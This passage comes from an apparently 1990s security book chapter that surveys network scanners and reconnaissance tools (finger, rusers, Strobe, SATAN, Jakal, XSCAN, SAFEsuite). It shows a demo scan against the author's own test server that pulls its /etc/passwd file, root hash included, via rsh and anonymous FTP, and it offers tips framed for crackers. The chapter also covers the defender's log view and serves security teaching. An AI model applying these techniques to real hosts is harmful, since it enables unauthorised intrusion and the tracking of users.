(remote) robo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote) angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote) pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote) root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote) gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote) dafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote) dafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote) dafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote) As an interesting exercise, compare this with finger information collected immediately after: user S00 PPP ppp-122-pm1.wiza Thu Nov 14 21:29:30 - still logged in user S15 PPP ppp-119-pm1.wiza Thu Nov 14 22:16:35 - still logged in user S04 PPP ppp-121-pm1.wiza Fri Nov 15 00:03:22 - still logged in user S03 PPP ppp-112-pm1.wiza Thu Nov 14 22:20:23 - still logged in user S26 PPP ppp-124-pm1.wiza Fri Nov 15 01:26:49 - still logged in user S25 PPP ppp-102-pm1.wiza Thu Nov 14 23:18:00 - still logged in user S17 PPP ppp-115-pm1.wiza Thu Nov 14 07:45:00 - still logged in user S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in user S23 PPP ppp-103-pm1.wiza Fri Nov 15 00:13:53 - still logged in user S12 PPP ppp-111-pm1.wiza Wed Nov 13 16:58:12 - still logged in Initially, this information might not seem valuable. However, it is often through these techniques that you can positively identify a user. For example, certain portions of the Internet offer varying degrees of anonymity. Internet Relay Chat (IRC) is one such system. A person connecting with a UNIX-based system can effectively obscure his or her identity on IRC but cannot easily obscure the IP address of the machine in use. Through sustained use of both the finger and rusers commands, you can pin down who that user really is. NOTE: finger and rusers are extensively discussed in Chapter 13, "Techniques to Hide One's Identity." Nonetheless, I'd like to provide a brief introduction here: finger and rusers are used to both identify and check the current status of users logged on to a particular machine. For example, you can find out the user's real name (if available), his or her last time of login, and what command shell he or she uses. Not all sites support these functions. In fact, most PC-based operating systems do not without the installation of special server software. However, even many UNIX sites no longer support these functions because they are so revealing. finger and rusers are now considered security risks in themselves. Nevertheless, this explanation doesn't reveal the value of these utilities in relation to cracking. In the same way that one can finger a user, one can also finger several key processes. Table 9.2 contains some examples. Table 9.2. Processes that can be fingered. Process Purpose lp The Line Printer daemon UUCP UNIX to UNIX copy root Root operator mail The Mail System daemon By directing finger inquiries on these accounts, you can glean valuable information about them, such as their base directory as well as the last time they were used or logged in. Thus, rusers, when coupled with finger, can produce interesting and often revealing results. I realize, of course, that you might trivialize this information. For, what value is there in knowing when and where logins take place? In fact, there are many instances in which such information has value. For example, if you are truly engaged in cracking a specific system, this information can help you build a strong database of knowledge about your target. By watching logins, you can effectively identify trust relationships between machines. You can also reliably determine the habits of the local users. All these factors could have significant value. Showmount Showmount reveals some very interesting information about remote hosts. Most importantly, invoked with the -e command line option, showmount can provide a list of all exported directories on a given target. These directories might or might not be mountable from anywhere on the Internet. On Other Platforms None of the mentioned UNIX utilities are scanners. However, they do reveal important information about the target machine. And not surprisingly, the computing community has ported quite a few of these utilities to other platforms (not everyone has a UNIX workstation in their living room). It wouldn't be fair to continue without briefly covering those ported utilities here. On Windows 95 Windows 95 now supports many network analysis utilities. Some of these are straight ports from UNIX commands, and others are programs built from the ground up. In both cases, the majority of these tools are shareware or freeware. You can use these tools to learn much about networking. NetScan Tools The NetScan Tools suite contains a series of UNIX utilities ported to Windows 95. Its development team claims that by utilizing ping, network administrators can identity unauthorized machines utilizing IP addresses on their subnets. The program also contains ports of WHOIS, finger, ping, and Traceroute. Cross Reference: The Netscan Tools suite is shareware and is available at http://www.eskimo.com/~nwps/index.html. Network Toolbox Network Toolbox is very similar to the Netscan Tools suite. It consists of a port of nine separate UNIX utilities. This utility has an interesting feature called IP Address Search, which allows the user to search for machines within a given range of IP addresses. Otherwise, it has the usual fare: finger, DNS, WHOIS, and so on. One special amenity of this suite is that it is exceedingly fast. This utility is discussed in greater detail later in this chapter. Cross Reference: You can find Network Toolbox at http://www.jriver.com/netbox.html. TCP/IP Surveyor This tool is quite impressive; not only does it gather information about networks and reachable machines, it formats it into a graphical representation that maps routers, workstations, and servers. Cross Reference: TCP/IP Surveyor is shareware and can be found at ftp://wuarchive.wustl.edu/systems/ibmpc/win95/netutil/wssrv32n.zip. On Macintosh There has been a sharp increase in development of network analysis tools on the Macintosh platform. Many of these applications are first rate and, in traditional Mac platform style, are extremely easy to use. MacTCP Watcher This utility provides ping, DNS lookups, and general monitoring of connections initiated by protocols within the TCP/IP suite. Cross Reference: As of version 1.12, this utility has been designated freeware. However, by the time this book is printed, that situation might change. Get it at http://www.share.com/share/peterlewis/mtcpw/. Query It! Query It! is a solid utility that performs basic nslookup inquiries. It generates information that is very similar to that generated using the host command. Cross Reference: Get Query It! at http://www.cyberatl.net/~mphillip/index.html#Query It!. WhatRoute WhatRoute is a port of the popular UNIX utility Traceroute. Cross Reference: WhatRoute is a freeware program and is available at various locations on the Internet, including http://homepages.ihug.co.nz/~bryanc/. On AS/400 The AS/400 platform, as of AS/400 V3R1 (and Client Access/400), has excellent internal support for most TCP/IP utilities, including ping and netstat. Cross Reference: For those interested in studying the fine points of TCP/IP implementation on AS/400, I highly recommend the white paper "TCP/IP Connectivity in an AS/400 Environment" by David Bernard. (News/400. February 1996.) It can be found at http://204.56.55.10/Education/WhitePapers/tcpip/tcpip.htm. These utilities will always be available to users, even if scanners are not. Moreover, because the Internet is now traveled by more and more new users, utilities to analyze network connections will be commonplace on all platforms. The Scanners Having discussed various network analysis utilities, we can now move on to bona fide scanners. Let's take a look at today's most popular scanners. NSS (Network Security Scanner) NSS (Network Security scanner) is a very obscure scanner. If you search for it using a popular search engine, you will probably find fewer than 20 entries. This doesn't mean NSS isn't in wide use. Rather, it means that most of the FTP sites that carry it are shadowed or simply unavailable via archived WWW searches. NSS differs from its counterparts in several ways, the most interesting of which is that it's written in Perl. (SATAN is also partially written in Perl. ISS and Strobe are not.) This is interesting because it means that the user does not require a C compiler. This might seem like a small matter, but it's not. Crackers and hackers generally start out as students. Students may acquire shell accounts on UNIX servers, true, but not every system administrator allows his or her users access to a C compiler. On the other hand, Perl is so widely used for CGI programming that most users are allowed access to Perl. This makes NSS a popular choice. (I should explain that most scanners come in raw, C source. Thus, a C compiler is required to use them.) Also, because Perl is an interpreted (as opposed to compiled) language, it allows the user to make changes with a few keystrokes. It is also generally easier to read and understand. (Why not? It's written in plain English.) To demonstrate the importance of this, consider the fact that many scanners written in C allow the user only minimal control over the scan (if the scanner comes in binary form, that is). Without the C source code, the user is basically limited to whatever the programmer intended. Scanners written in Perl do not generally enforce such limitations and are therefore more easily extensible (and perhaps portable to any operating system running Perl 4 or better). NSS was reportedly written on the DEC platform (DecStation 5000 and Ultrix 4.4). It generally works out the box on SunOS 4.1.3 and IRIX 5.2. On other platforms, it may require basic or extensive porting. The basic value of NSS is its speed. It is extremely fast. Routine checks that it can perform include the following: sendmail Anon FTP NFS Exports TFTP Hosts.equiv Xhost NOTE: NSS will not allow you to perform Hosts.equiv unless you have root privileges. If this is a critical issue and you do not currently have root, you might want to acquire a copy of Linux, Solaris X86, or FreeBSD. By getting one of these operating systems and installing it at home, you can become root. This is a common problem with several scanners, including SATAN and certain implementations of Internet Security Scanner. As you might guess, some or most of these checks (except the Hosts.equiv query) can be conducted by hand by any user, even without root privileges. Basically, NSS serves the same function as most scanners: It automates processes that might otherwise take a human weeks to complete. NSS comes (most often) as a tarred, g'zipped file. (In other words, it is a zipped archive created with gzip.exe, a popular compression tool similar to pkzip.exe.) With the original distribution, the author discussed the possibility of adding greater functionality, including the following features: AppleTalk scanning Novell scanning LAN manager networks The capability to scan subnets Briefly, the processes undertaken by NSS include Getting the domain listing or reporting that no such listing exists Pinging the host to determine whether it's alive Scanning the ports of the target host Reporting holes at that location Although this is not an exhaustive treatment of NSS, there are some minor points I can offer here: NSS does not run immediately after you unzip and untar it. Several changes must be made to the file. The environment variables must be set to those applicable to your machine's configuration. The key variables are $TmpDir--The temporary directory used by NSS $YPX--The directory where the ypx utility is located $PING--The directory where the executable ping is located $XWININFO--The directory where xwininfo is located TIP: If your Perl include directory (where the Perl include files are located) is obscure and not included within your PATH environment variable, you will have to remedy that. Also, users should note that NSS does require the ftplib.pl library package. NSS has parallel capabilities and can distribute the scan among a number of workstations. Moreover, it can fork processes. Those running NSS on machines with limited resources (or running it without permission) will want to avoid these capabilities. These are options that can set within the code. Cross Reference: You can find a copy of NSS, authored by Douglas O'Neal (released March 28, 1995) at http://www.giga.or.at/pub/hacker/unix. This location was reliable as of November 20, 1996. Strobe Strobe (The Super Optimized TCP Port Surveyor) is a TCP port scanner that logs all open ports on a given machine. Strobe is fast (its author claims that an entire small country can be scanned within a reasonable period of time). The key feature of Strobe is that it can quickly identify what services are being run on a given target (so quickly, in fact, that it takes less than 30 seconds to pin down a server, even with a 28.8 modem connection to the Internet). The key drawback of Strobe is that such information is limited. At best, a Strobe attack provides the cracker with a rough guideline, a map of what services can be attacked. Typical output from a Strobe scan looks like this: localhost echo 7/tcp Echo [95,JBP] localhost discard 9/tcp Discard [94,JBP] localhost systat 11/tcp Active Users [89,JBP] localhost daytime 13/tcp Daytime [93,JBP] localhost netstat 15/tcp Netstat localhost chargen 19/tcp Character Generator [92,JBP] localhost ftp 21/tcp File Transfer [Control] [96,JBP] localhost telnet 23/tcp Telnet [112,JBP] localhost smtp 25/tcp Simple Mail Transfer [102,JBP] localhost time 37/tcp Time [108,JBP] localhost finger 79/tcp Finger [52,KLH] localhost pop3 0/tcp Post Office Protocol-Version 3 122 localhost sunrpc 111/tcp SUN Remote Procedure Call [DXG] localhost auth 113/tcp Authentication Service [130,MCSJ] localhost nntp 119/tcp Network News Transfer Protocol 65,PL4 As you can see, the information is purely diagnostic in character (for example, there are no probes for particular holes). However, Strobe makes up for this with extensive command-line options. For example, in scanning hosts with large numbers of assigned ports, you can disable all duplicate port descriptions. (Only the first definition is printed.) Other amenities include Command-line option to specify starting and ending ports Command-line option to specify time after which a scan will terminate if it receives no response from a port or host Command-line option to specify the number of sockets to use Command-line option to specify a file from which Strobe will take its target hosts Combining all these options produces a very controllable and configurable scan. Strobe generally comes as a tarred and g'zipped file. Contained within that distribution is a full man page and the binary. Cross Reference: You can find a copy of Strobe, authored by Julian Assange (released 1995), at http://sunsite.kth.se/Linux/system/Network/admin/. Pointers In the unlikely event you acquire Strobe without also acquiring the man page, there is a known problem with Solaris 2.3. To prevent problems (and almost certainly a core dump), you must disable the use of getpeername(). This is done by adding the -g flag on the command line. Also, although Strobe does not perform extensive tests on remote hosts, it leaves just as large a footprint as early distributions of ISS. A host that is scanned with Strobe will know it (this will most likely appear as a run of connect requests in the /var/adm/messages file). SATAN (Security Administrator's Tool for Analyzing Networks) SATAN is a computing curiosity, as are its authors. SATAN was released (or unleashed) on the Internet in April, 1995. Never before had a security utility caused so much controversy. Newspapers and magazines across the country featured articles about it. National news broadcasts warned of its impending release. An enormous amount of hype followed this utility up until the moment it was finally posted to the Net. SATAN is, admittedly, quite a package. Written for UNIX workstations, SATAN was--at the time of its release--the only X Window System-based security program that was truly user friendly. It features an HTML interface, complete with forms to enter targets, tables to display results, and context-sensitive tutorials that appear when a hole has been found. It is--in a word--extraordinary. SATAN's authors are equally extraordinary. Dan Farmer and Weitse Venema have both been deeply involved in security. Readers who are unfamiliar with SATAN might remember Dan Farmer as the co-author of COPS, which has become a standard in the UNIX community for checking one's network for security holes. Venema is the author of TCP_Wrapper. (Some people consider TCP_Wrapper to be the grandfather of firewall technology. It replaces inetd as a daemon, and has strong logging options.) Both men are extremely gifted programmers, hackers (not crackers), and authorities on Internet security. SATAN was designed only for UNIX. It is written primarily in C and Perl (with some HTML thrown in for user friendliness). It operates on a wide variety of UNIX flavors, some with no porting at all and others with moderate to intensive porting. NOTE: There is a special problem with running SATAN on Linux. The original distribution applies certain rules that result in flawed operation on the Linux platform. There is also a problem with the way the select() call is implemented in the tcp_scan module. Lastly, if one scans an entire subnet at one time, this will result in a reverse fping bomb. That is, socket buffers will overflow. Nevertheless, one site contains not only a nicely hacked SATAN binary for Linux, but also the diff file. (A diff file is a file that is close but not identical to another file. Using the diff utility, one compares the two files. The resulting output consists of the changes that must be made.) These items can be found at ftp.lod.com or one can obtain the diff file directly from Sunsite (sunsite.unc.edu) at /pub/Linux/system/Network/admin/satan-linux.1.1.1.diff.gz. The package comes tarred and zipped and is available all over the world. As the name of the program (Security Administrator's Tool for Analyzing Networks) suggests, it was written for the purpose of improving network security. As such, not only must one run it in a UNIX environment, one must run it with root privileges. SATAN scans remote hosts for most known holes, including but not limited to these: FTPD vulnerabilities and writable FTP directories NFS vulnerabilities NIS vulnerabilities RSH vulnerability sendmail X server vulnerabilities Once again, these are known holes. That is, SATAN doesn't do anything that a cracker could not ultimately do by hand. However, SATAN does perform these probes automatically and what's more, it provides this information in an extremely easy-to-use package. Cross Reference: You can obtain your copy of SATAN, written by Dan Farmer and Weitse Venema (released April, 1995), at http://www.fish.com. The Process: Installation SATAN unarchives like any other utility. Each platform may differ slightly, but in general, the SATAN directory will extract to /satan-1.1.1. The first step (after reading the documentation) is to run the Perl script reconfig. This script searches for various components (most notably, Perl) and defines directory paths. The script reconfig will fail if it cannot identify/define a browser. Those folks who have installed their browser in a nonstandard directory (and have failed to set that variable in the PATH) will have to set that variable manually. Also, those who do not have DNS available (they are not running DNS on their own machine) must set this in /satan-1.1.1/conf/satan.cf as follows: $dont_use_nslookup = 1; Having resolved all the PATH issues, the user can run a make on the distribution (make IRIX or make SunOS). I suggest watching the compile very closely for errors. TIP: SATAN requires a little more resources than the average scanner, especially in the area of RAM and processor power. If you are experiencing sluggish performance, there are several solutions you can try. One of the most obvious is to get more RAM and greater processor power. However, if that isn't feasible, I suggest a couple things: One is to kill as many other processes as possible. Another is to limit your scans to 100 hosts or fewer per scan. Lastly, it is of some significance that SATAN has a command-line interface for those without strong video support or with limited memory resources. Jakal Jakal is a stealth scanner. That is, it will scan a domain (behind a firewall) without leaving any trace of the scan. According to its authors, all alpha test sites were unable to log any activity (although it is reported in the documentation from the authors that "Some firewalls did allow SYN|FIN to pass through"). Stealth scanners are a new phenomenon, their incidence rising no doubt with the incidence of firewalls on the Net. It's a relatively new area of expertise. So if you test Jakal and find that a few logs appear, don't be unforgiving. Stealth scanners work by conducting half scans, which start (but never complete) the entire SYN|ACK transaction with the target host. Basically, stealth scans bypass the firewall and evade port scanning detectors, thus identifying what services are running behind that firewall. (This includes rather elaborate scan detectors such as Courtney and Gabriel. Most of these detection systems respond only to fully established connections.) Cross Reference: Obtain a copy of Jakal, written by Halflife, Jeff (Phiji) Fay, and Abdullah Marafie at http://www.giga.or.at/pub/hacker/unix. IdentTCPscan IdentTCPscan is a more specialized scanner. It has the added functionality of picking out the owner of a given TCP port process. That is, it determines the UID of the process. For example, running IdentTCPscan against my own machine produced the following output: Port: 7 Service: (?) Userid: root Port: 9 Service: (?) Userid: root Port: 11 Service: (?) Userid: root Port: 13 Service: (?) Userid: root Port: 15 Service: (?) Userid: root Port: 19 Service: (?) Userid: root Port: 21 Service: (?) Userid: root Port: 23 Service: (?) Userid: root Port: 25 Service: (?) Userid: root Port: 37 Service: (?) Userid: root Port: 79 Service: (?) Userid: root Port: 80 Service: (?) Userid: root Port: 110 Service: (?) Userid: root Port: 111 Service: (?) Userid: root Port: 113 Service: (?) Userid: root Port: 119 Service: (?) Userid: root Port: 139 Service: (?) Userid: root Port: 513 Service: (?) Userid: root Port: 514 Service: (?) Userid: root Port: 515 Service: (?) Userid: root Port: 540 Service: (?) Userid: root Port: 672 Service: (?) Userid: root Port: 2049 Service: (?) Userid: root Port: 6000 Service: (?) Userid: root This utility has a very important function. By finding the UID of the process, misconfigurations can be quickly identified. For example, examine this output. Seasoned security professionals will know that line 12 of the scan shows a serious misconfiguration. Port 80 is running a service as root. It happens that it is running HTTPD. This is a security problem because any attacker who exploits weaknesses in your CGI can run his or her processes as root as well. I have tried many scanners. IdentTCPscan is extremely fast and as such, it is a powerful and incisive tool (a favorite of crackers). The utility works equally well on a variety of platforms, including Linux, BSDI, and SunOS. It generally comes as a compressed file containing the source code. It is written in C and is very compact. It also requires minimal network resources to run. It will build without event using most any C compiler. Cross Reference: Obtain a copy of IdentTCPscan, written by David Goldsmith(released February 11, 1996), at http://www.giga.or.at/pub/hacker/unix. CONNECT CONNECT is a bin/sh script. Its purpose is to scan subnets for TFTP servers. (As you might surmise, these are difficult to find. TFTP is almost always disabled these days.) This scanner scans trailing IP addresses recursively. For this reason, you should send the process into the background (or go get yourself a beer, have some lunch, play some golf). This scanner is of relatively little importance because TFTP is a lame protocol. There isn't much to gain. (Although, if the sysad at that location is negligent, you might be able to obtain the /etc/passwd file. Don't count on it, however. These days, the odds of finding both an open TFTP server and a non-shadowed passwd file on the same machine are practically nil.) Cross Reference: The documentation of CONNECT is written by Joe Hentzel; according to Hentzel, the script's author is anonymous, and the release date is unknown. Obtain a copy at http://www.giga.or.at/pub/hacker/unix/. FSPScan FSPScan scans for FSP servers. FSP stands for File Service Protocol, an Internet protocol much like FTP. It provides for anonymous file transfers and reportedly has protection against network overloading (for example, FSP never forks). Perhaps the most security-aware feature of FSP is that it logs the incoming user's hostname. This is considered superior to FTP, which requests the user's e-mail address (which, in effect, is no logging at all). FSP was popular enough, now sporting GUI clients for Windows and OS/2. What's extraordinary about FSPScan is that it was written by one of the co-authors of FSP! But then, who better to write such a utility? Cross Reference: Obtain a copy of FSPScan, written by Wen-King Su (released in 1991), at http://www.giga.or.at/pub/hacker/unix. XSCAN XSCAN scans a subnet (or host) for X server vulnerabilities. At first glance, this doesn't seem particularly important. After all, most other scanners do the same. However, XSCAN includes an additional functionality: If it locates a vulnerable target, it immediately starts logging the keystrokes at that terminal. Other amenities of XSCAN include the capability to scan multiple hosts in the same scan. These can be entered on the command line as arguments. (And you can specify both hosts and subnets in a kind of mix-and-match implementation.) The source for this utility is included on the CD-ROM that accompanies this book. Cross Reference: Obtain a copy of XSCAN (release unknown) at http://www.giga.or.at/pub/hacker/unix. Our Sample Scan Our sample scan will be generated using a product called SAFEsuite. Many of you might be familiar with this product, which was developed by Internet Security Systems. ISS is extremely well known on the Net for a product called ISS. This product (the Internet Security Scanner) was among the first automated scanners to sell commercially. From ISS to SAFEsuite The first release of ISS stirred some controversy. Many people felt that releasing such a tool free to the Internet community would jeopardize the network's already fragile security. (The reaction to Dan Farmer's SATAN was very similar.) After all, why release a product that automatically detects weaknesses in a remote target? In the manual pages for ISS, the author (Christopher Klaus) addressed this issue by writing: ...To provide this to the public or at least to the security-conscious crowd may cause people to think that it is too dangerous for the public, but many of the (cr/h)ackers are already aware of these security holes and know how to exploit them. These security holes are not deep in some OS routines, but standard misconfigurations that many domains on Internet tend to show. Many of these holes are warned about in CERT and CIAC advisories... In early distributions of ISS, the source code for the program was included in the package. (This sometimes came as a shar or shell archive file and sometimes not.) For those interested in examining the components that make a successful and effective scanner, the full source for the older ISS is included on the CD-ROM that accompanies this book. ISS has the distinction of being one of the mainstays of Internet security. It can now be found at thousands of sites in various forms and versions. It is a favorite of hackers and crackers alike, being lightweight and easy to compile on almost any UNIX-based platform. Since the original release of ISS, the utility has become incredibly popular. The development team at ISS has carried this tradition of small, portable security products onward, and SAFEsuite is its latest effort. It is a dramatic improvement over earlier versions. SAFEsuite consists of several scanners: The intranet scanner The Web scanner The firewall scanner SAFEsuite is similar to SATAN in that the configuration, management, implementation, and general use of the program can be done in a GUI environment. This saves enormous time and effort. It also allows resulting information to be viewed quickly and conveniently. However, SAFEsuite has an additional attribute that will make it quite popular: It runs on a Microsoft platform. SAFEsuite has been developed for use on Microsoft Windows NT. This is of some significance. Only recently has NT been recognized by the UNIX community as an acceptable server platform. This may in part be attributed to NT's new C2 security rating. In any event, ISS has broken through the barrier by providing a tested security tool for a large portion of the Microsoft-based community. I consider this a rather far-sighted undertaking on the part of the development team at ISS. SAFEsuite performs a wide variety of attacks on the specified network. These include diagnostic routines on all of the following services: sendmail FTP NNTP Telnet RPC NFS Curiously, the ISS development team also managed to add support for analysis of a host's vulnerability to IP spoofing and denial-of-service attacks. (This is impressive, although one wonders what significance there is in knowing that you're vulnerable to a DoS attack. Few platforms are immune to this type of attack.) According to the folks at ISS: SAFEsuite is the fastest, most comprehensive, proactive UNIX network security scanner available. It configures easily, scans quickly, and produces comprehensive reports. SAFEsuite probes a network environment for selected security vulnerabilities, simulating the techniques of a determined hacker. Depending on the reporting options you select, SAFEsuite gives you the following information about each vulnerability found: location, in-depth description, and suggested corrective actions. In any case, those of you who have used earlier versions of ISS will find that the SAFEsuite distribution is slightly different. For example, earlier versions (with the exception of one trial distribution) were not for use in a GUI. For that reason, I will quickly cover the scan preparation in this tool. Perhaps the most dramatic change from the old ISS to the new SAFEsuite is that SAFEsuite is a commercial product. Notes on the Server Configuration For the purposes of demonstrating both target and attacker views of a scan, I established a server with the hostname SamsHack. It was configured as follows: Machine: 486 DX-4 120 AT IBM compatible Memory: 32 MB Operating system: Linux 1.2.13 (Slackware) Modem: 28.8 Network connection: PPP (pppd) I chose Linux because it provides strong logging capabilities. Default logging in Linux in done via a file called /var/adm/messages. (This might differ slightly, depending on the Linux distribution. Red Hat Linux, for example, has a slightly different directory structure from Slackware. In that distribution, you will probably be focusing on the file /var/logs/messages.) The /var/adm/messages file records status reports and messages from the system. These naturally include the boot routine and any problems found there, as well as dozens of other processes the user might initiate. (In this case, the /var/adm/messages file will log our server's responses to the SAFEsuite scan.) NOTE: On some versions of Linux (and indeed, on the majority of UNIX distributions), more valuable logging information can generally be found in /var/adm/syslog than in /var/adm/messages. This is especially so with regard to attempts by users to gain unauthorized access from inside the system. System Requirements At the time this chapter was written, the Windows NT version of SAFEsuite was still in development. Therefore, NT users should contact the development team at ISS for details on how to install on that platform. The system requirements are shown in Table 9.3. Table 9.3. Installation requirements for SAFEsuite. Element Requirement Processor Speed Not defined RAM 16MB or better Networking TCP/IP Privileges Root or administrator Storage Approximately 5MB Browser Any HTML-3 browser client Miscellaneous Solaris boxes require Motif 1.22+ SAFEsuite runs on many platforms, including but not limited to the following: Sun OS 4.1.3 or above Solaris 2.3 or above HP/UX 9.05 or above IBM AIX 3.2.5 or above Linux 1.2.x (with kernel patch) Linux 1.3.x prior to 1.3.75 (with patch) Linux 1.3.76+ (no patch required) Installing the suite is straightforward. It unpacks like any standard UNIX utility. It should be copied to a directory of your choice. Go to that directory and extract the archive, using the following command: tar -xvf iss-xxx.tar After you untar the archive, you will see a file labeled iss.install. This is a Bourne shell script that will perform the installation. (This mainly involves extracting the distribution disks and the help documentation, which is in HTML format.) Run this file to complete the basic installation process by executing the command sh iss.install. The chief executable is the xiss file, which will launch SAFEsuite in the X Window System, OpenWindows, or any compatible windowing system for UNIX. Configuration In this scan, I used the defaults to simplify the interpretation of output (by output, I mean not only the information that the scan gleans from our server, but also the footprint, or trail, that the scanner leaves behind). Nevertheless, the configuration options in SAFEsuite are very incisive. If you decide to use SAFEsuite, you might want to take advantage of those incisive options. If so, you need to call the Scanner Configuration window (see Figure 9.1). Some of the options here are similar to options formerly expressed with the command-line interface (such as the outfile, or log file, which contains all information recorded during the scan; this was formerly assigned with the -o option). Other options are entirely new, such as the option for specifying a Web browser. Figure 9.1. The SAFEsuite configuration screen. NOTE: The Web browser option isn't really an option. To read the unabridged manual that comes with SAFEsuite, you must specify a browser. That is, if the user does not specify a browser, the Help option in the main menu window will not work. (An error message is produced, informing you that you have not chosen a browser.) If there is a reason why you don't want to specify a browser at that point--or if the machine you are using does not have one--you can still view the entire tutorial and manual on another machine. Simply transport all HTML files into a directory of your choice, start a browser, and open index.html. The links will work fine locally. Special Features The options to specify additional ports is particularly interesting. So is the capability to add modules. SAFEsuite appears to be quite extensible. Thus, if you hack specialized code for probing parts of the system not covered by SAFEsuite, you can include these modules into the scan (as you can with Farmer and Venema's SATAN). TIP: Even if you don't write your own security tools, you can patch in the code of others. For example, there are many nonestablishment scanners out there that perform specialized tasks. There is no reason why these tools cannot be solidly integrated into the SAFEsuite scan. NOTE: The SAFEsuite program includes network maps, which are an ingenious creation (one that Farmer and Venema had intentions of adding to SATAN). The network map is a wonderful way to quickly isolate problem machines or configurations on your network. These maps provide a graphical representation of your network, visually highlighting potential danger spots. Used in conjunction with other network architecture tools (many which are not particularly related to security), products like SAFEsuite can help you to quickly design safe network topology. Cross Reference: For more information about the purchase, use, or configuration of SAFEsuite, contact ISS at its Web page (http://ISS). The Scan The scan took approximately two minutes. For those of you who are interested, the network resources consumed were relatively slim. For example, while the scan occurred, I was also running several other applications. The scan's activity was hardly noticeable. The results of the scan were enlightening. The SamsHack server was found to be vulnerable in several areas. These vulnerabilities ranged from trivial to serious. NOTE: For the truly curious, I was running SAFEsuite through a standard configuration of MIT's X Window System. The X Window manager was FVWM. The rlogin Bug One of the tests SAFEsuite runs is for a bug in the remote login program called rlogin. Was the SamsHack server vulnerable to rlogin attack? No. # Rlogin Binding to Port # Connected to Rlogin Port # Trying to gain access via Rlogin 127.0.0.1: ---- rlogin begin output ---- 127.0.0.1: ---- rlogin end output ---- # Rlogin check complete, not vulnerable. In other areas, however, the SamsHack server was vulnerable to attack. These vulnerabilities were critical. Take a close look at the following log entry: # Time Stamp(555): Rsh check: (848027962) Thu Nov 14 19:19:22 # Checking Rsh For Vulnerabilities # Rsh Shell Binding to Port # Sending command to Rsh 127.0.0.1: bin/bin logged in to rsh 127.0.0.1: Files grabbed from rsh into `./127.0.0.1.rsh.files' 127.0.0.1: Rsh vulnerable in hosts.equiv # Completed Checking Rsh for Vulnerability You'll see that line 6 suggests that some files were grabbed and saved. Their output was sent to a file called 127.0.0.1.rsh.files. Can you guess what file or files were saved to that file? If you guessed the /etc/passwd file, you are quite correct. Here are the contents of 127.0.0.1.rsh.files: root:bBndEhmQlYwTc:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-1:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null FTP also proved to be vulnerable (although the importance of this is questionable): 127.0.0.1: ---- FTP version begin output ---- SamsHack FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. 127.0.0.1: ---- FTP version end output ---- 127.0.0.1: Please login with USER and PASS. 127.0.0.1: Guest login ok, send your complete e-mail address as password. 127.0.0.1: Please login with USER and PASS. 127.0.0.1: ANONYMOUS FTP ALLOWED 127.0.0.1: Guest login ok, access restrictions apply. 127.0.0.1: "/" is current directory. 127.0.0.1: iss.test: Permission denied. 127.0.0.1: iss.test: Permission denied. (Delete) 127.0.0.1: Entering Passive Mode (127,0,0,1,4,217) 127.0.0.1: Opening ASCII mode data connection for /bin/ls. 127.0.0.1: Transfer complete. 127.0.0.1: Entering Passive Mode (127,0,0,1,4,219) 127.0.0.1: Opening ASCII mode data connection for /etc/passwd (532 bytes). 127.0.0.1: Transfer complete. 127.0.0.1: Files grabbed via FTP into ./127.0.0.1.anonftp.files 127.0.0.1: Goodbye. As you might have surmised, the passwd file for FTP was grabbed into a file. Thus, in this chapter, we have identified at least three serious security weaknesses in SamsHack.net: In an earlier scan, HTTPD was being run as root, thereby making SamsHack.net vulnerable to WWW attacks. SamsHack.net is vulnerable to RSH attacks. SamsHack.net's FTP directory allows anonymous users to access the passwd file. These weaknesses are common to many operating systems in their out-of-the-box state. In fact, the Linux distribution used to demonstrate this scan was out of the box. I made no modifications to the installation whatsoever. Therefore, you can conclude that out-of-the-box Slackware distributions are not secure. I have included the entire scan log on the CD-ROM that accompanies this book. Printing it here would be unreasonable, as it amounts to over 15 pages of information. You have just seen the basics of scanning a single host. But in reality, a cracker might scan as many as 200 hosts in a single evening. For such widespread activity, more resources are required (greater bandwidth, more RAM, and a more powerful processor). But resources are not the cracker's only concern; such a scan leaves a huge footprint. We've seen this scan from the cracker's perspective. Now, let's look at it from the victim's perspective. The Other Side of the Fence As I noted earlier, logging capabilities are extremely important. Logs can often determine not only when and how an attack took place, but also from where the attack originated. On November 10, 1996, I conducted a scan identical to the one shown previously, which was performed on November 14, 1996. The only difference between the two scans is that on the November 10th scan, I employed not one but several scanners against the SamsHack server. Those scans and their activities were reported to the system to the file /var/adm/messages. Take a look at the output: Nov 10 21:29:38 SamsHack ps[159]: connect from localhost Nov 10 21:29:38 SamsHack netstat[160]: connect from localhost Nov 10 21:29:38 SamsHack in.fingerd[166]: connect from localhost Nov 10 21:29:38 SamsHack wu.ftpd[162]: connect from localhost Nov 10 21:29:38 SamsHack in.telnetd[163]: connect from localhost Nov 10 21:29:39 SamsHack ftpd[162]: FTP session closed Nov 10 21:29:39 SamsHack in.pop3d[169]: connect from localhost Nov 10 21:29:40 SamsHack in.nntpd[170]: connect from localhost Nov 10 21:29:40 SamsHack uucico[174]: connect from localhost Nov 10 21:29:40 SamsHack in.rlogind[171]: connect from localhost Nov 10 21:29:40 SamsHack in.rshd[172]: connect from localhost Nov 10 21:29:40 SamsHack telnetd[163]: ttloop: read: Broken pipe Nov 10 21:29:41 SamsHack nntpd[170]: localhost connect Nov 10 21:29:41 SamsHack nntpd[170]: localhost refused connection Nov 10 